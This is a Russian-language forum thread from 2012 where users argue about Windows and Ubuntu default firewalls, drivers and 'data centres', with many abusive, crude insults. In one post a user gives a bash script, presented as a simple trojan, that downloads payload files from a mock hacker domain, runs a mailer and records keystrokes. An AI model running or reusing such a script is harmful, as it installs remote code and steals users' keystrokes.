Какое, нахрен, администрирование Линукса, может проводить так называемый "Администратор", который размер шрифтов в приложении не может выставить и закрепить их в качестве умолчательных? Что бы грамотно скомпилировать ядро, нужно, как минимум, разбираться в архитектуре процессоров администрируемых систем, знать перечень всего аппаратного обеспечения серверов на уровне чипов и используемых микропрограмм для их управления, всех используемых системных фич.

Простите, это вы мне? Зачем вы мне пишете то, про что я не писал и то, что мне совсем не интересно? Или вы решили посередине ответа мне поделиться наболевшим?

Цитировать
Так что выступая в качестве "инициатора эксперимента", правомерно ставить вопрос, а за своё дело ли Вы взялись? Какими процедурами, кроме использования готовых сборок ядра, подготовленных неизвестно кем, и набора примитивных графических костылей утилит, Вы овладели?

Забавно наблюдать когда человек додумывает что-то в удобном ему направлении. Как витиевато он строит выводы на основании нехватки информации, лишь бы защитить то, что ему дорого. Человек не задаёт уточняющие вопросы, а просто и без затей придумывает то, что ему хочетсятам, где не знает.
Отвечаю на первый вопрос: да, за своё.
Отвечаю на второй вопрос: с чего вы решили, что этим буду занят лично я?

Просто прочитайте что было написано выше, отбросив свои предрассудки и линуксовое мракобесие, внимательно прочитайте. Тогда, возможно, многое станет понятно, что задача делается группой людей для узкой группы людей.

Цитировать
Понятно, что для уборщицы, которая всю жизнь подметала полы веничком, собирая мусор в совочек, современный пылесос или полотер станет источником головной боли и "ощущения приближающегося гемороя". А сам агрегат, кроме бестолковости, громоздкости и неудобством управления, никаких других ощущений вызывать не будет. Ведь ей так хорошо было... веничком и совочком.

Опять вы о каких-то своих личных душевных травмах. Извините, но они мне далеки, я не смогу помочь.


Название: Re: Она вышла...
Отправлено: Diozan от 08-11-2012, 15:53:47
Большие. На мой ноутбук искали драйвера двумя управлениями, плюс друзья. Не нашли.
В конфиг ядра они заглядывали? Это вопрос, если что... Что за ноут, можно узнать?

Простите, это вы мне? Зачем вы мне пишете то, про что я не писал и то, что мне совсем не интересно?
Здесь не диалог. Здесь много народу отписывается. И реакция идёт на все посты.

Судя по всемы вы - адепт Линукса, а не специалист. Специалист - он смотрит со всех сторон, видет плюсы и минусы. Вы же видете только плюсы, а когда заходит речь про минусы - закрываете глаза и уши и говорите бе-бе-бе.

Далеко не адепт. Более того, я даже не сторонник популяризации Линукса и проталкивания его в массы как операционной системы для компов, ибо считаю, что данная система подходит только для определённого, весьма узкого круга специалистов и как система для встраивания в конкретные, узкоспециализированные устройства. А разнообразные сборки, которых, как правильно замечено "over 8000", только вносят путаницу, разброд и шатание. IMHO, не умеешь поставить чистый Линукс с нуля, не используя разнообразных костылей и протезов, ну и нечего на Линуксе делать. Ибо благодаря стараниям различных сборщиков, коих "over 8000", практически все дистрибутивы Линуксов уже давно превратились в наборы костылей и протезов для его конфигурирования. А минусы и плюсы мне, в большинстве своём, известны. Почему такая реакция на минусы? А как можно реагировать на заявление о том, что Линукс это дыра только потому, что там файрволл по умолчанию не включён? Зачем его включать, если потребность в нём не определена. Он что, всем нужен? В какой конфигурации? Я, может быть, за внешним файрволлом сижу.
Да и, кроме того, в Убунте все модули ядра, отвечающие за фильтрацию пакетов установлены и включены по умолчанию. Но без конфига они не задействованы и служба соответствующая, поэтому, не запущена. Если мне надо, я пишу конфиг и ставлю автозагрузку службы, если не надо, то не делаю этого. Можно на Ваш конфиг файрвола для Убунты посмотреть? Надо понимать, что линукс это не "такой Windows". В Windows, по умолчанию включенный файрволл, даже пинги режет. Это так и должно быть? А как, при этом, админу доступность компа в сети смотреть?
Как можно смотреть на такую сборку, например, как Альт Линукс. В школьную сборку для рабочих станций они умудрились работающий DNS сервер (BIND) воткнуть. Ну решили они, что никак школьное рабочее место без него обойтись не может. Мне-то что до этого? Вот только глядя на такие дистрибутивы, становится обидно за хорошую систему. А, самое главное, такие системы формируют человеческое мнение о ней.


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 16:17:09
Опять образ мысли пользователя Винды. Перед включением, файрволл настраивать надо под свои задачи. И только после этого включать. Иначе без настройки, без созданных правил, он полностью перекроет доступ в сеть, ну или полностью откроет, в зависимости от политики по умолчанию.

Веришь ли, даже в Gentoo и FreeBSD он не включён по умолчанию, более того, даже не установлен.

У Винды файрволл вообще не фильтрует исходящие запросы и, поэтому, его можно включить сразу же, дыра наружу распахнута, и пользователь, естественно, этим удовлетворён, и понятия не имеет, что ещё что-то надо настроить. А если какая-то программа попытается открыть порт на прослушку входящего соединения, так система вопрос пользователю выдаст - разрешить? Что ответит рядовой пользователь в 99,9% случаев?

Так у недоосей даже файера нет, по умолчанию, после установки!!!  О чём  вы тут с радостью нам и сообщаете. Что вы тут горбатого то лепите про безопасность?


Название: Re: Она вышла...
Отправлено: Diozan от 08-11-2012, 16:25:26
Так у недоосей даже файера нет, по умолчанию, после установки!!!  О чём  вы тут с радостью нам и сообщаете. Что вы тут горбатого то лепите про безопасность?

Ещё один...


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 16:26:17
В Windows, по умолчанию включенный файрволл, даже пинги режет. Это так и должно быть? А как, при этом, админу доступность компа в сети смотреть?

А почему бы и нет? Админ, если ему надо, сделает так как ему надо. Не в недоосях чай.


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 16:30:33
Ещё один...

Факт остаётся фактом. Что вы собственно и признали. По дефолту та же убунта, голая, без файера. Который ещё и замучишься, без курения манов и шамания с скриптами включать. А всякие firestarter`ы, которые кстати уже лет надцать не обновлялись, ещё и не на каждой недооси запустятся.


Название: Re: Она вышла...
Отправлено: FroX от 08-11-2012, 16:39:16
Так у недоосей даже файера нет, по умолчанию, после установки!!! 
ога, как и антивируса :)
по факту файрвол всегда есть и всегда установлен (кроме особо экзотических случаев) - ибо оно есть составная часть ядра. не установлено может быть ПО для его настройки - iptables и всякие графические интерфейсы для него, ибо по-умолчанию все-равно allow all. а кому сильно надо - полюбому будут настраивать под себя, и установка ПО в linux вобще не проблема, проще винды на порядок

По дефолту та же убунта, голая, без файера.
школота такая школота...
че ты с ней сделаешь то, даже с с голой? расскажи нам пожалста, кулхацкер ты наш


Название: Re: Она вышла...
Отправлено: Diozan от 08-11-2012, 17:01:12
Факт остаётся фактом. Что вы собственно и признали. По дефолту та же убунта, голая, без файера. Который ещё и замучишься, без курения манов и шамания с скриптами включать. А всякие firestarter`ы, которые кстати уже лет надцать не обновлялись, ещё и не на каждой недооси запустятся.

Перечитай 137-пост. Именно про это я и пишу. Настраивать надо и включать.

В винде файрвол есть? Вроде бы как есть. Настроен? Вроде бы как настроен. Как настроен? На исходящие запросы никак не настроен, ибо полностью открыт, т.е. на самом деле нет его в этом направлении. Причём вообще нет, ибо эта фича в Винде совершенно не настраиваемая. Какая угодно программа может обмениваться с кем угодно и по какому угодно порту, если инициатором соединения является она (читай, все спам-машины, почтовые черви, DDOS генераторы и прочие рассыльщики заразы).
На прослушивание входящих соединений, правила открываются по мере включения соответствующих служб и установки программ, причём, по умолчанию, если пользователь разрешил программе соединения, то порт открывается для всех, т.е. тоже ничего толком не фильтрует. Остальные входящие порты, которые явно не открыты фильтрует. Зачем, если их никто не слушает? Фиг его знает, зачем ставить замок на дверь, которой нет. Только для того, что бы на SYN пакет ответить гордым молчанием? (по RFC, запрос на соединение по закрытому порту должен сопровождается откликом "порт не доступен", но Майкрософту ведь пофиг всякие там RFC?).
Вот и вопрос, а от чего в винде защищает файрвол? От пингов администратора?


Рис.1 Включённый чудо файрволл Винды защитил мой компьютер (настройка по умолчанию)


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 17:04:57
че ты с ней сделаешь то, даже с с голой? расскажи нам пожалста, кулхацкер ты наш

Да пжалста. Простейший примитив, скачает недостающий фукционал трояну и сольёт логи клавиш с убунты кулхацкирю. А линукс, в лице убунты щироко раздвинет ноги и будет сосать с причмокиванием. Молча.

Код:
#!/bin/bash

logger=`ps -A|grep logger.hack|wc -l`
if [[ "$logger" -ge "1" ]] ; then
    //logger -k
fi
wget -q -t 1 -N -nd http://хацкирь.рф/conf -P //
wget -q -t 1 -N -nd http://хацкирь.рф/spam -P //
wget -q -t 1 -N -nd http://хацкирь.рф/engine -P //

//./mailsend

size=`du -b //logger.hack | awk '{print $1}'`
if [[ "$size" -ge "8192" ]] ; then
    rm -f //logger.hack
fi

//logger -s -o //logger.hack



Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 17:07:20
Перечитай 137-пост. Именно про это я и пишу. Настраивать надо и включать.

В винде файрвол есть? Вроде бы как есть. Настроен? Вроде бы как настроен. Как настроен? На исходящие запросы никак не настроен, ибо полностью открыт, т.е. на самом деле нет его в этом направлении. Причём вообще нет, ибо эта фича в Винде совершенно не настраиваемая. Какая угодно программа может обмениваться с кем угодно и по какому угодно порту, если инициатором соединения является она (читай, все спам-машины, почтовые черви, DDOS генераторы и прочие рассыльщики заразы).
На прослушивание входящих соединений, правила открываются по мере включения соответствующих служб и установки программ, причём, по умолчанию, если пользователь разрешил программе соединения, то порт открывается для всех (зависит только от уровня доверия к сети, которая у, практически всех, домашняя, т.е. доверяю всем), т.е. тоже ничего толком не фильтрует.

По крайней мере софт просящийся наружу будет тупо остановлен. Юзер предупреждён. Убунте пох.


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 17:12:06
Рис.1 Включённый чудо файрволл Винды защитил мой компьютер (настройка по умолчанию)

Линуксоиды до сих пор пользуются софтом 2001 года? Впрочем, о чём я говорю...Не прошло и 20 лет.


Название: Re: Она вышла...
Отправлено: Diozan от 08-11-2012, 17:12:15
По крайней мере софт просящийся наружу будет тупо остановлен. Юзер предупреждён. Убунте пох.

Ну это вообще.... Нет слов...

....На исходящие запросы никак не настроен, ибо полностью открыт, т.е. на самом деле нет его в этом направлении. Причём вообще нет, ибо эта фича в Винде совершенно не настраиваемая. Какая угодно программа может обмениваться с кем угодно и по какому угодно порту, если инициатором соединения является она (читай, все спам-машины, почтовые черви, DDOS генераторы и прочие рассыльщики заразы).


Виндовый файрволл фильтрует только входящие соединения!!!!!! Исходящие ему пофиг!!!!!


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 17:15:42
Ну это вообще.... Нет слов...


Именно так, поскольку вы просто тупо не знаете как работает файрволл в windows, не говоря про софт сторонних разработчиков. А убунта вообще ничего не делает, с другими недоосями. Она тупо ложится и раздвигает ноги, когда её имеет примитивный скрипт.


Название: Re: Она вышла...
Отправлено: Diozan от 08-11-2012, 17:16:15
Линуксоиды до сих пор пользуются софтом 2001 года? Впрочем, о чём я говорю...Не прошло и 20 лет.
С обновлениями ноября 2012года. Так, уточню, на всякий случай. В 7-ке и 8-ке иначе?


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 17:20:26
Виндовый файрволл фильтрует только входящие соединения!!!!!! Исходящие ему пофиг!!!!!

Ещё раз повторяю

Линуксоиды до сих пор пользуются софтом 2001 года? Впрочем, о чём я говорю...Не прошло и 20 лет.


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 17:22:10
С обновлениями ноября 2012года. Так, уточню, на всякий случай. В 7-ке и 8-ке иначе?

У каждого софта есть номер версии. Так понятнее?


Название: Re: Она вышла...
Отправлено: Diozan от 08-11-2012, 17:27:21
Малость для обучения...
Мой браузер Опера просто ломится в сеть, потрындеть на Ковровском форуме. В брандмауэре Винды в качестве исключения он не прописан (рис.2). Но трындит, зараза. И Винде пофиг на него. И не блокирует. И не выдаёт уведомления.


Название: Re: Она вышла...
Отправлено: Paladin от 08-11-2012, 17:28:39
это прискорбно


Название: Re: Она вышла...
Отправлено: Diozan от 08-11-2012, 17:30:06
У каждого софта есть номер версии. Так понятнее?

Какое мне дело до номера версии? Винда обновляется регулярно. Брандмауэр - компонент, встроенный в Виндовз, а не отдельный программный продукт. Майкрософт в 2012 году обновляет свои системы версиями 2002 года, по Вашему мнению? Вроде бы как поддержка ВинХР заявлена до 2014 года...


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 17:30:46
это прискорбно

Не то слово. Стыдуха.


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 17:32:04
Какое мне дело до номера версии? Винда обновляется регулярно. Брандмауэр - компонент, встроенный в Виндовз, а не отдельный программный продукт. Майкрософт в 2012 году обновляет свои системы версиями 2002 года? Вроде бы как поддержка ВинХР заявлена до 2014 года...

Не хотелось бы вам говорить,******НА ЛИЧНОСТИ НЕ ПЕРЕХОДИМ*****!!! И почему, кстати говоря, линукс, в лице убунты, последней версии, не говоря про предыдущие отсосал у скрипта и молча заткнул язык в жопу, несмотря на чудозащищённость?


Название: Re: Она вышла...
Отправлено: Diozan от 08-11-2012, 17:35:40
Не то слово. Стыдуха.
Согласен. Полная...

Так всё-таки, почему у меня Опера не блокируется? И тотал лазит по ФТП серверам, хотя в брандмауэре никоим образом разрешения для него не прописаны?


Название: Re: Она вышла...
Отправлено: Diozan от 08-11-2012, 17:38:17
Не хотелось бы вам говорить, но вы редкостный сами знаете кто. Ограниченый и анально огороженый. И почему, кстати говоря, линукс, в лице убунты, последней версии, не говоря про предыдущие отсосал у скрипта и молча заткнул язык в жопу, несмотря на чудозащищённость?

С отключённым файрволом? А кто запретил скрипту лезть в сеть?


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 17:39:29
С отключённым файрволом? А кто запретил скрипту лезть в сеть?

Так что вы тут тогда чушь то несёте?


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 17:40:34
Согласен. Полная...

Вообще то про вас речь шла.


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 18:20:29
Какое мне дело до номера версии? Винда обновляется регулярно. Брандмауэр - компонент, встроенный в Виндовз, а не отдельный программный продукт. Майкрософт в 2012 году обновляет свои системы версиями 2002 года, по Вашему мнению? Вроде бы как поддержка ВинХР заявлена до 2014 года...

Полуось до сих пор выпускается, аналогии понятны? Или как всегда тупить будете?


Название: Re: Она вышла...
Отправлено: FroX от 08-11-2012, 19:00:44
Не хотелось бы вам говорить,******НА ЛИЧНОСТИ НЕ ПЕРЕХОДИМ*****!!! И почему, кстати говоря, линукс, в лице убунты, последней версии, не говоря про предыдущие отсосал у скрипта и молча заткнул язык в жопу, несмотря на чудозащищённость?
школьнег?
писец наивный
ты, имея физический доступ к компу с виндой, тоже самое не сможешь сделать чтоли?
80-й порт на выход у тебя файрвол тоже блокирует чоли?

файрвол дома на винде нужен тока, чтоб снаружи через дырявые службы, висящие на куче портов, никакая зараза не пролезла. комп с виндой по-умолчанию в городской локалке до появления порнобаннера живет сутки отсилы
для linux по факту нет такой заразы - и нет такой проблемы. файрвол нах не нужен. а ограничение прав на уровне приложений (если уж конкретная параноя или специфика использования компа требует) решается совсем другими средствами - SELinux, AppArmor, PolicyKit, LIDS, TOMOYO


Название: Re: Она вышла...
Отправлено: Diozan от 08-11-2012, 19:29:26
Полуось до сих пор выпускается, аналогии понятны? Или как всегда тупить будете?
Да и MS-DOS никуда не делся.
Аналогично Винде поддерживается и обновляется?

Ну а что бы мне определиться, стоит ли дальше вести дискуссию, назовите, по каким критериям осуществляется фильтрация в файрволах и какие из этих критериев поддерживает файрволл в Винде??


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 19:47:21
школьнег?
писец наивный
ты, имея физический доступ к компу с виндой, тоже самое не сможешь сделать чтоли?
80-й порт на выход у тебя файрвол тоже блокирует чоли?

***Ещё один переход на личночти, и темы будут удаляться без предупреждения***. Захочу и по любому порту научу работать, хотя и нах не нужно, поскольку и так работает. Весь смысл, в том, что windows изначально, из коробки лучше защищена, чем недооси подгромким названием линукс.

файрвол дома на винде нужен тока, чтоб снаружи через дырявые службы, висящие на куче портов, никакая зараза не пролезла. комп с виндой по-умолчанию в городской локалке до появления порнобаннера живет сутки отсилы
для linux по факту нет такой заразы - и нет такой проблемы. файрвол нах не нужен. а ограничение прав на уровне приложений (если уж конкретная параноя или специфика использования компа требует) решается совсем другими средствами - SELinux, AppArmor, PolicyKit, LIDS, TOMOYO

Купите на базаре гуся и ему мозги имейте, если собственный мозк затрахали до степени идиотизма.


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 19:50:24
Да и MS-DOS никуда не делся.
Аналогично Винде поддерживается и обновляется?

Ещё раз повторяю, зачем сравнивать софт 20-летней давности? Вы опять хотите вытащить "работающий" полудрайвер 0.01 из гроба?


Название: Re: Она вышла...
Отправлено: ITM от 08-11-2012, 20:46:11
Так и думал, Дизя ЦОДов не видел (((


Название: Re: Она вышла...
Отправлено: Paladin от 08-11-2012, 20:49:30
я видел
они прекрасны


Название: Re: Она вышла...
Отправлено: ITM от 08-11-2012, 21:02:59
я видел
они прекрасны
но Ирочка лучшее! в мильоны раз!


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 21:07:21
Ну а что бы мне определиться, стоит ли дальше вести дискуссию, назовите, по каким критериям осуществляется фильтрация в файрволах и какие из этих критериев поддерживает файрволл в Винде??

Вы там не забывайте про колхоз в недоосях. Поэтому стоит брать в расчёт, таком случае и нехилый "колхоз" от разработчиков для Windows. Включая оутпосты, комоды и прочая.


Название: Re: Она вышла...
Отправлено: FroX от 08-11-2012, 22:14:34
Ну так и ротик закройте и язычок в анус засуньте, если туповаты, мягко говоря.
...
Купите на базаре гуся и ему мозги имейте, если собственный мозк затрахали до степени идиотизма.
ну чо, слив защитан
аргументов нет, нервы опонента сдали ;)

и да, научи скорее нас как сделать, чтоб например гугл отдавал по хттп с 31337-порта
не, лучше иди учи матчасть уроки


Название: Re: Она вышла...
Отправлено: Diozan от 08-11-2012, 22:21:27
Вы там не забывайте про колхоз в недоосях. Поэтому стоит брать в расчёт, таком случае и нехилый "колхоз" от разработчиков для Windows. Включая оутпосты, комоды и прочая.

И всё таки. По каким критериям осуществляется фильтрация? Они одинаковы для всех осей, ибо это не фичи осей, а фичи протоколов. Ответить - знаний не хватает? Только других тупыми обзывать, а сами элементарной теории не знаете?

Оутпост стоит в Винде из коробки по умолчанию и включён и настроен?


Название: Re: Она вышла...
Отправлено: Diozan от 08-11-2012, 22:24:32
Так и думал, Дизя ЦОДов не видел (((

Ну и что тебе ЦОД. У меня на полке стоит один. Вопрос его масштаба обсуждать не будем.


Название: Re: Она вышла...
Отправлено: Franco от 08-11-2012, 22:37:20
Дизя, я вот сегодня на убунте 2 часа сканер устанавливал.
Пока конфиги вручную не поправил - хрен оно завелось.
И ведь не мустек сраный, а вполне себе приличный эпсон устанавливал.

Кстати, со сканированием в многостраничный ПДФ так разобраться и не успел.
Либо имитирует автоподатчик (причем с такой скоростью, что успеть заменить лист невозможно в принципе), либо сканит по принципу "один лист - один файл".
ЧЯДНТ?


Название: Re: Она вышла...
Отправлено: ITM от 08-11-2012, 23:11:53
Ну и что тебе ЦОД. У меня на полке стоит один. Вопрос его масштаба обсуждать не будем.
поржал !


Название: Re: Она вышла...
Отправлено: Watchman от 08-11-2012, 23:27:16
Тоже всплакнул чутка


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 23:35:15
Оутпост стоит в Винде из коробки по умолчанию и включён и настроен?

А вы вот подумайте лишний раз своими линуксоидными головёнками. И сколько настроек файеров есть в недоосях. Никто не рулит же в недоосях регистрами процессоров напрямую, а пользуется или iptables, или ifw, или каким нибудь Shorewall c firestarter. Что абсолютно сравнимо с сторонними поставщиками для windows.

P.S. Ида. Не забудьте, что windows server тоже windows.


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 23:36:39
поржал !

У якого жэ линуксоида не стоит кластер в чулане ))))


Название: Re: Она вышла...
Отправлено: mech от 08-11-2012, 23:55:06
и да, научи скорее нас как сделать, чтоб например гугл отдавал по хттп с 31337-порта

Вы бы лучше попросили своих четвероногих друзей из опенсорса, чтобы они почту отправляли из консоли в недоосях без дебильных smtp транспортов.


Название: Re: Она вышла...
Отправлено: Diozan от 09-11-2012, 00:00:59
Вы бы лучше попросили своих четвероногих друзей из опенсорса, чтобы они почту отправляли из консоли в недоосях без дебильных smtp транспортов.

Не путай прикладное ПО и системное. Хотя не уверен, что для тебя есть разница.
И всё-таки, по каким критериям осуществляется фильтрация файрволлами? Хоть штук пять на вскидку...

Дизя, я вот сегодня на убунте 2 часа сканер устанавливал.
Пока конфиги вручную не поправил - хрен оно завелось.
И ведь не мустек сраный, а вполне себе приличный эпсон устанавливал.

Кстати, со сканированием в многостраничный ПДФ так разобраться и не успел.
Либо имитирует автоподатчик (причем с такой скоростью, что успеть заменить лист невозможно в принципе), либо сканит по принципу "один лист - один файл".
ЧЯДНТ?

Ну если есть проблеммы, на которые надо получить помощь, то нормальный админ пишет багрепорт. Умеешь?


Название: Re: Она вышла...
Отправлено: Franco от 09-11-2012, 00:06:53
Ну если есть проблеммы, на которые надо получить помощь, то нормальный админ пишет багрепорт. Умеешь?
Тут сам баг сложно локализовать.
Теряет усб, и все тут.
И весь тырнет, как выяснилось, в курсе этой проблемы.
Иначе хрен бы я сам за 2 часа эту хню наладил.
Так что производитель прекрасно знает, что его система не работает со сканерами чуть более чем полностью.
Но почему-то плевать хотел на это, ибо проблема тянется аж с 9 версии убунты, если не раньше.
Вот такая замечательная система эта убунта. Вместо работы я угробил четверть рабочего дня на организацию работы вместо того чтобы просто сидеть и документы в базу загонять свои которых 3 папки накопилось.
И, кстати, еще не полностью наладил, ибо с многостраничными ПДФами пока что еще не разбирался даже, ибо было некогда.


Название: Re: Она вышла...
Отправлено: mech от 09-11-2012, 00:11:01
Не путай прикладное ПО и системное. Хотя не уверен, что для тебя есть разница.

По поводу путания тёплого с мягким это вы обратитесь к вашим четвероногим друзьям из опенсорса. Которые по умолчанию, по вашим же утверждениям, ставят файрволл в состав системы, не удосуживаясь его включать. А потом начинаете плести х**нюссс, с какими то протоколами, на пару с другим четвероногим другом.


Название: Re: Она вышла...
Отправлено: Diozan от 09-11-2012, 00:17:46
По поводу путания тёплого с мягким это вы обратитесь к вашим четвероногим друзьям из опенсорса. Которые по умолчанию, по вашим же утверждениям, ставят файрволл в состав системы, не удосуживаясь его включать. А потом начинаете плести х**нюссс, с какими то протоколами, на пару с другим четвероногим другом.

В винде его умудряются включать, даже не задумываясь о правилах, по которым он работает.  Ибо они вам неведомы. Ответа про критерии я так и не получил.
И потом убеждены, что он способен остановить рвущийся в сеть сервис.
Дискуссия закончена, ибо дискутировать с людьми, не знающих темы, смысла нет.


Название: Re: Она вышла...
Отправлено: Franco от 09-11-2012, 00:24:41
В винде его умудряются включать, даже не задумываясь о правилах, по которым он работает.  Ибо они вам неведомы. Ответа про критерии я так и не получил.
И потом убеждены, что он способен остановить рвущийся в сеть сервис.
Дискуссия закончена, ибо дискутировать с людьми, не знающих темы, смысла нет.
А сканер?


Название: Re: Она вышла...
Отправлено: mech от 09-11-2012, 00:26:37

И потом убеждены, что он способен остановить рвущийся в сеть сервис.
Дискуссия закончена, ибо дискутировать с людьми, не знающих темы, смысла нет.

Я вам ещё раз повторяю, что вы с упорством, достойным идиотов, продолжаете нести чушь, приводя в пример систему образца 2001 года, занимаясь некрофилией по жизни. Откройте для себя хотя бы windows 7, если у вас осталась капелька здравого смысла. Там вы найдёте и протоколы, сервисы, порты и всё остальное. Тупость всё таки не украшает индивидуумов и линукс-икспердов, стремящихся преподнести себя во всей красе, неся такую чушь, что диву даёшься.


Название: Re: Она вышла...
Отправлено: Diozan от 09-11-2012, 08:01:07
Я вам ещё раз повторяю, что вы с упорством, достойным идиотов, продолжаете нести чушь, приводя в пример систему образца 2001 года, занимаясь некрофилией по жизни. Откройте для себя хотя бы windows 7, если у вас осталась капелька здравого смысла. Там вы найдёте и протоколы, сервисы, порты и всё остальное. Тупость всё таки не украшает индивидуумов и линукс-икспердов, стремящихся преподнести себя во всей красе, неся такую чушь, что диву даёшься.
Ваш собственный идиотизм заключается в том, что Вы не в состоянии ответить на вопросы. Про критерии фильтрации пакетов файрволом я уже и не спрашиваю. Ответа нет, что наводит меня на мысль о полном незнании Вами темы разговора.

Был вопрос:
В 7-ке и 8-ке иначе?
Ответа так же нет.

О чём можно говорить?

А сканер?
Телепаты в отпуске. Какими программами хоть ведёшь обработку?


Название: Re: Она вышла...
Отправлено: Franco от 09-11-2012, 09:14:35
Телепаты в отпуске. Какими программами хоть ведёшь обработку?
Вопрос не о программе для работы со сканером (хотя это xSane), а о том, какого хрена не исправляется косяк со сканерами?
Проблема давным-давно известна, но никто ничего не предпринимает для ее решения.
Я ведь не сидел, специально косяков в убунте не искал - они, бл@дь, сами регулярно вылезают и мешают работать!!!


Название: Re: Она вышла...
Отправлено: ITM от 09-11-2012, 09:46:13
Дизя, а ты честно считаешь, что твой говнопентиум на полке с линуксом это и есть ЦОД ?


Название: Re: Она вышла...
Отправлено: Diozan от 09-11-2012, 10:29:53
Вопрос не о программе для работы со сканером (хотя это xSane), а о том, какого хрена не исправляется косяк со сканерами?

Описание проблемы (багрепорт) в студию. А то без него это обычный флейм.

Дизя, а ты честно считаешь, что твой говнопентиум на полке с линуксом это и есть ЦОД ?

А что, разве нет? По какому признаку он не попадает под это определение?
Функции обработки, хранения и распространения информации присутствуют. Точки присутствия какого-либо одного или нескольких операторов связи тоже в наличии. Обеспечение уровня сервиса - полное, в соответствии с возложенными на него задачами. Степень надёжности соответствует стандарту TIA-942 (который носит, кстати, рекомендательный характер) по уровню Tier 1.
Что не так?


Название: Re: Она вышла...
Отправлено: ITM от 09-11-2012, 10:52:15
Описание проблемы (багрепорт) в студию. А то без него это обычный флейм.

А что, разве нет? По какому признаку он не попадает под это определение?
Функции обработки, хранения и распространения информации присутствуют. Точки присутствия какого-либо одного или нескольких операторов связи тоже в наличии. Обеспечение уровня сервиса - полное, в соответствии с возложенными на него задачами. Степень надёжности соответствует стандарту TIA-942 (который носит, кстати, рекомендательный характер) по уровню Tier 1.
Что не так?
Я даже не буду объяснять почему нет!
Просто грустно и печально за промышленность РФ становится. 


Название: Re: Она вышла...
Отправлено: Diozan от 09-11-2012, 11:29:46
Я даже не буду объяснять почему нет!

Всё таки потрудись, а то создаётся ощущение, что сказать нечего.
Одни знатоки файрволов при определении их критериев уже стушевались, теперь вот и ты туда же.


Название: Re: Она вышла...
Отправлено: Franco от 09-11-2012, 11:39:40
Описание проблемы (багрепорт) в студию. А то без него это обычный флейм.
Все уже тысячу раз обсосано. Даже в убунтушном хелпе расписано, как через жопу заставить работать сканер. (http://help.ubuntu.ru/wiki/%D0%BF%D0%B5%D1%80%D0%B8%D1%84%D0%B5%D1%80%D0%B8%D0%B9%D0%BD%D1%8B%D0%B5_%D1%83%D1%81%D1%82%D1%80%D0%BE%D0%B9%D1%81%D1%82%D0%B2%D0%B0/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_%D1%81%D0%BA%D0%B0%D0%BD%D0%B5%D1%80%D0%BE%D0%B2_epson) Кстати, выполнение инструкции с ее небольшим творческим переосмыслением помогло.
Вопрос не в том, что "ничего не работает", а в том, почему до сих пор не устранено? Почему я должен через жопу ставить драйвера и плясать в консоли вместо того, чтобы все взяло и заработало автоматически как в проклятой венде?
Или сканеры эпсон - это ниэпическая экзотика и ради полутора землекопов никто не хочет возиться?


Название: Re: Она вышла...
Отправлено: mech от 09-11-2012, 11:58:15
Ваш собственный идиотизм заключается в том, что Вы не в состоянии ответить на вопросы. Про критерии фильтрации пакетов файрволом я уже и не спрашиваю. Ответа нет, что наводит меня на мысль о полном незнании Вами темы разговора.

Был вопрос:Ответа так же нет.

Вы линукс-иксперд по теории 1-го уровня модели OSI? Или рехтур по модели OSI 1 - го уровня? Уж не смешите людей, как с кластером в чулане или где он там, на полке?


Название: Re: Она вышла...
Отправлено: Diozan от 09-11-2012, 12:30:36
Все уже тысячу раз обсосано....Кстати, выполнение инструкции с ее небольшим творческим переосмыслением помогло.
Вопрос не в том, что "ничего не работает", а в том, почему до сих пор не устранено? Почему я должен через жопу ставить драйвера и плясать в консоли вместо того, чтобы все взяло и заработало автоматически как в проклятой венде?
Или сканеры эпсон - это ниэпическая экзотика и ради полутора землекопов никто не хочет возиться?

Ну вопрос в том, что не все производители пишут драйвера для своих устройств и очень неохотно делятся спецификациями, основываясь на которых другие их могли бы написать. И кроме того, не я ли говорил, что не стоит лезть в Линукс с подходами "продвинутого пользователя Винды"?  Как минимум нужно уметь читать и искать информацию. Так что вопрос, скорее, к производителю оборудования.

1-го уровня модели OSI? ....
Ну вот человек уже техническими терминами заговорил. Ещё немного и он прочитает какой-нибудь мануал, что бы узнать, что же это такое и с чем это едят. Вопрос на засыпку, IP - это какой уровень OSI?
А на закуску можешь пошмонать мой конфиг файрвола.  Там есть несколько, хорошо мне известных недочётов, может укажешь мне их... В качестве учебного материала, так сказать...

Код:
#/bin/bash

# Локальный и внешний интерфейсы...
export WAN_IF=eth0
export LAN_IF=br0

# Адреса локального и внешнего интерфейса...
export WAN_IF_ADDR=xx.xx.xx.xx
export LAN_IF_ADDR=yy.yy.yy.yy

# Адреса локальной и внешней подсетей...
export WAN_NET_ADDR=xx.xx.xx.xx/xx
export LAN_NET_ADDR=yy.yy.yy.yy/yy

# Широковещательные локальный и внешний адреса
export WAN_BROADCAST=xx.xx.xx.255
export LAN_BROADCAST=yy.yy.yy.255

# Обнуление текущих правил...
iptables -t filter -F
iptables -t nat -F


########## Входящие соединения
# Политика по умолчанию
iptables -P INPUT DROP
# Блокировка броадкастов
iptables -A INPUT -m addrtype --dst-type BROADCAST -j DROP
# По уже установленным соединениям
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
# HTTP,SSH,OpenVPN
iptables -A INPUT -p TCP -m multiport --dports http,xxxxxx,openvpn -j ACCEPT
# DNS,NTP
iptables -A INPUT -p UDP -m multiport --dports domain,ntp -j ACCEPT
# localhost трафик...
iptables -A INPUT --in-interface lo -j ACCEPT
# ping запросы
iptables -A INPUT -p ICMP --icmp-type echo-request -j ACCEPT
